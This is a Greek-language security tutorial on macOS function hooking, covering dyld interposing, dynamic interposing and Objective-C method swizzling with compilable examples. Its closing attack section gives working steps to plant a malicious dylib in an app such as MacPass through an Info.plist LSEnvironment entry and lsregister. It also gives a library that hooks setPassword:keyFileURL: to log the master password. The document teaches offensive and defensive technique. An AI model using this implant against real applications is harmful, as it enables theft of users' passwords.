macOS Function Hooking

Reading time: 10 minutes

Function Interposing

Δημιουργήστε ένα dylib με μια ενότητα __interpose (__DATA___interpose) (ή μια ενότητα με σημαία S_INTERPOSING) που περιέχει ζεύγη δείκτες συναρτήσεων που αναφέρονται στις αρχικές και αντικαταστάσιμες συναρτήσεις.

Στη συνέχεια, εισάγετε το dylib με DYLD_INSERT_LIBRARIES (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι περιορισμοί που εφαρμόζονται στη χρήση του DYLD_INSERT_LIBRARIES ισχύουν και εδώ.

Interpose printf

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Επίσης σημειώστε ότι η διαμεσολάβηση συμβαίνει μεταξύ της διαδικασίας και των φορτωμένων βιβλιοθηκών, δεν λειτουργεί με την κρυφή μνήμη κοινών βιβλιοθηκών.

Δυναμική Διαμεσολάβηση

Τώρα είναι επίσης δυνατό να διαμεσολαβήσετε μια συνάρτηση δυναμικά χρησιμοποιώντας τη συνάρτηση dyld_dynamic_interpose. Αυτό επιτρέπει την προγραμματική διαμεσολάβηση μιας συνάρτησης σε πραγματικό χρόνο αντί να το κάνετε μόνο από την αρχή.

Απλώς χρειάζεται να υποδείξετε τα tuples της συνάρτησης που θα αντικατασταθεί και της συνάρτησης αντικατάστασης.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

Στην ObjectiveC, αυτός είναι ο τρόπος που καλείται μια μέθοδος: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Χρειάζεται το αντικείμενο, η μέθοδος και οι παράμετροι. Και όταν καλείται μια μέθοδος, ένα msg αποστέλλεται χρησιμοποιώντας τη συνάρτηση objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Το αντικείμενο είναι someObject, η μέθοδος είναι @selector(method1p1:p2:) και οι παράμετροι είναι value1, value2.

Ακολουθώντας τις δομές αντικειμένων, είναι δυνατόν να φτάσουμε σε ένα πίνακα μεθόδων όπου οι ονομασίες και οι δείκτες στον κώδικα της μεθόδου είναι τοποθετημένοι.

Accessing the raw methods

Είναι δυνατόν να προσπελάσουμε τις πληροφορίες των μεθόδων όπως το όνομα, τον αριθμό παραμέτρων ή τη διεύθυνση όπως στο παρακάτω παράδειγμα:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Μέθοδος Swizzling με method_exchangeImplementations

Η συνάρτηση method_exchangeImplementations επιτρέπει να αλλάξει η διεύθυνση της υλοποίησης μιας συνάρτησης με την άλλη.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Method Swizzling with method_setImplementation

Η προηγούμενη μορφή είναι περίεργη γιατί αλλάζετε την υλοποίηση 2 μεθόδων η μία από την άλλη. Χρησιμοποιώντας τη συνάρτηση method_setImplementation μπορείτε να αλλάξετε την υλοποίηση μιας μεθόδου για την άλλη.

Απλά θυμηθείτε να αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής αν σκοπεύετε να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, γιατί αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτή τη διεύθυνση.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Attack Methodology

Σε αυτή τη σελίδα συζητήθηκαν διάφοροι τρόποι για να γίνει hook σε συναρτήσεις. Ωστόσο, περιλάμβαναν την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση.

Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να εισάγετε ένα Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking. Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω Dylib process injection.

Ωστόσο, και οι δύο επιλογές είναι περιορισμένες σε μη προστατευμένα δυαδικά αρχεία/διαδικασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.

Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχουν κατεβάσει οι χρήστες, όπως το MacPass.

Έτσι, το vector του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, εισάγοντας τη μεταβλητή περιβάλλοντος DYLD_INSERT_LIBRARIES μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι όπως:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

και στη συνέχεια επανακαταχωρήστε την εφαρμογή:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Προσθέστε σε αυτή τη βιβλιοθήκη τον κώδικα hooking για να εξάγετε τις πληροφορίες: Κωδικούς πρόσβασης, μηνύματα...

Παράδειγμα βιβλιοθήκης

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Αναφορές

• https://nshipster.com/method-swizzling/